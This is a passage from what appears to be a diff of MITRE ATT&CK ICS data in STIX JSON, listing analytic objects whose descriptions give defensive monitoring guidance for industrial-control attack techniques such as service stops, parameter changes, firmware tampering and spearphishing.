"x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "Windows Registry", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "Service", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6b3b3e92-bef7-4977-9895-29036bab29f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0765#AN1897", + "external_id": "AN1897" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1897", + "description": "Monitor for changes made to files that may stop or disable services on a system to render those services unavailable to legitimate users.\nMonitor executed commands and arguments that may stop or disable services on a system to render those services unavailable to legitimate users.\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting. For added context on adversary procedures and background see [Service Stop](https://attack.mitre.org/techniques/T1489).\nMonitor processes and command-line arguments to see if critical processes are terminated or stop running. For added context on adversary procedures and background see [Service Stop](https://attack.mitre.org/techniques/T1489).\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\nMonitor for changes made to Windows registry keys and/or values that may stop or disable services on a system to render those services unavailable to legitimate users.\nMonitor for newly executed processes that may stop or disable services on a system to render those services unavailable to legitimate users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "Service", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "Windows Registry", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6e046c4c-6c93-4fdf-a69e-5d81b52d1e9c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0766#AN1898", + "external_id": "AN1898" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1898", + "description": "Monitor for unexpected changes to project files, although if the malicious modification occurs in tandem with legitimate changes it will be difficult to isolate the unintended changes by analyzing only file systems modifications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "File", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e456d4d-397d-4e04-9261-9399960c9633", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0767#AN1899", + "external_id": "AN1899" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1899", + "description": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash, which may be recorded in the application log.\nUse deep packet inspection to look for artifacts of common exploit traffic, such as known payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--899d41e8-8d02-45f9-ab8a-3a06f4cc4189", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0768#AN1900", + "external_id": "AN1900" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1900", + "description": "Monitor ICS automation network protocols for functions related to reading an asset\u2019s operating mode. In some cases, there may be multiple ways to detect a device\u2019s operating mode, one of which is typically used in the operational environment. Monitor for the operating mode being checked in unexpected ways.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--68073351-4e4f-40e4-9394-a9166bb346d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0769#AN1901", + "external_id": "AN1901" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1901", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7aa60595-5a1c-4de2-be60-cc1f9fea2313", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0770#AN1902", + "external_id": "AN1902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1902", + "description": "Monitor executed commands and arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Also monitor executed commands and arguments that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\nMonitor for executed processes (such as ipconfig/ifconfig and arp) with arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses. Also monitor for executed processes that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.\nMonitor for any suspicious attempts to enable script execution on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\nMonitor for API calls (such as GetAdaptersInfo() and GetIpNetTable()) that may gather details about the network configuration and settings, such as IP and/or MAC addresses. Also monitor for API calls that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. For added context on adversary procedures and background see [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) and [System Network Connections Discovery](https://attack.mitre.org/techniques/T1049).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "Script", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d3023733-5874-4746-a947-65925514e382", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0771#AN1903", + "external_id": "AN1903" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1903", + "description": "Monitor for device alarms produced when device management passwords are changed, although not all devices will produce such alarms.\nMonitor for device credential changes observable in automation or management network protocols.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dc014060-5116-4a2f-bac5-35ac1db8fabb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0772#AN1904", + "external_id": "AN1904" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1904", + "description": "Monitor for newly executed processes related to services specifically designed to accept remote graphical connections, such as RDP and VNC. [Remote Services](https://attack.mitre.org/techniques/T0886) and [Valid Accounts](https://attack.mitre.org/techniques/T0859) may be used to access a host\u2019s GUI.\nMonitor executed commands and arguments related to services specifically designed to accept remote graphical connections, such as RDP and VNC. [Remote Services](https://attack.mitre.org/techniques/T0886) and [Valid Accounts](https://attack.mitre.org/techniques/T0859) may be used to access a host\u2019s GUI.\nMonitor DLL file events, specifically creation of these binary files as well as the loading of DLLs into processes associated with remote graphical connections, such as RDP and VNC. [Remote Services](https://attack.mitre.org/techniques/T0886) may be used to access a host\u2019s GUI.\nMonitor for user accounts logged into systems they would not normally access or abnormal access patterns, such as multiple systems over a relatively short period of time. Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. [Remote Services](https://attack.mitre.org/techniques/T0886) may be used to access a host\u2019s GUI.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "Module", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "Logon Session", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7841eb6b-8a05-4754-b738-a475bfbb89fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0773#AN1905", + "external_id": "AN1905" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1905", + "description": "A manipulated I/O image requires analyzing the application program running on the PLC for specific data block writes. Detecting this requires obtaining and analyzing a PLC\u2019s application program, either directly from the device or from asset management platforms.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8ed4e6d0-56d7-4e6b-8fa6-41f41631f30d", + "name": "Asset", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c40ddd75-f2fc-4899-bda1-bff164c96622", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0774#AN1906", + "external_id": "AN1906" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1906", + "description": "Collecting information from the I/O image requires analyzing the application program running on the PLC for specific data block reads. Detecting this requires obtaining and analyzing a PLC\u2019s application program, either directly from the device or from asset management platforms.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8ed4e6d0-56d7-4e6b-8fa6-41f41631f30d", + "name": "Asset", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--29b6e4b8-878c-4139-aa56-7e1513714d34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0775#AN1907", + "external_id": "AN1907" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1907", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--48d2023b-469d-4f9f-a4e6-010be72436b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0776#AN1908", + "external_id": "AN1908" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1908", + "description": "Monitor asset management systems for device configuration changes which can be used to understand expected parameter settings.\nMonitor device application logs parameter changes, although not all devices will produce such logs.\nMonitor for device alarms produced when parameters are changed, although not all devices will produce such alarms.\nMonitor ICS management protocols for parameter changes, including for unexpected values, changes far exceeding standard values, or for parameters being changed in an unexpected way (e.g., via a new function, at an unusual time).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b05a614b-033c-4578-b4f2-c63a9feee706", + "name": "Asset", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--330166da-bc80-4aca-bd41-cbd6b1742812", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0777#AN1909", + "external_id": "AN1909" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1909", + "description": "Monitor ICS asset application logs that indicate alarm settings have changed, although not all assets will produce such logs.\nConsult asset management systems to understand expected alarm settings.\nData about the industrial process may indicate it is operating outside of expected bounds and could help indicate that that an alarm setting has changed. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.\nMonitor for alarm setting changes observable in automation or management network protocols.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b05a614b-033c-4578-b4f2-c63a9feee706", + "name": "Asset", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--931b3fc6-ad68-42a8-9018-e98515eedc95", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cbf791b4-5186-4205-ac5a-a56042aaebec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0778#AN1910", + "external_id": "AN1910" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1910", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8c77f31f-c6f4-491c-965a-e25c506b0c68", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0779#AN1911", + "external_id": "AN1911" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1911", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ec695157-8c3c-439b-9925-459c9d4172f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0780#AN1912", + "external_id": "AN1912" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1912", + "description": "Monitor for changes made to firmware for unexpected modifications to settings and/or data that may be used by rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Asset management systems should be consulted to understand known-good firmware versions and configurations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "Firmware", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5610211c-1458-4333-8640-384189d9318e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0781#AN1913", + "external_id": "AN1913" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.", + "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1913", + "description": "Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL) For added context on adversary procedures and background see [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).\nMonitor for newly constructed files from a spearphishing emails with a malicious attachment in an attempt to gain access to victim systems.\nMonitor network traffic for suspicious email attachments. Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Use web proxies to review content of emails including sender information, headers, and attachments for potentially malicious content.\nMonitor mail server and proxy logs for evidence of messages originating from spoofed addresses, including records indicating failed DKIM+SPF validation or mismatched message headers.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--32db74f9-d46d-4728-891a-113a8b8e2b07", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0782#AN1914", + "external_id": "AN1914" + } + ], + "object_marking_refs": [ + 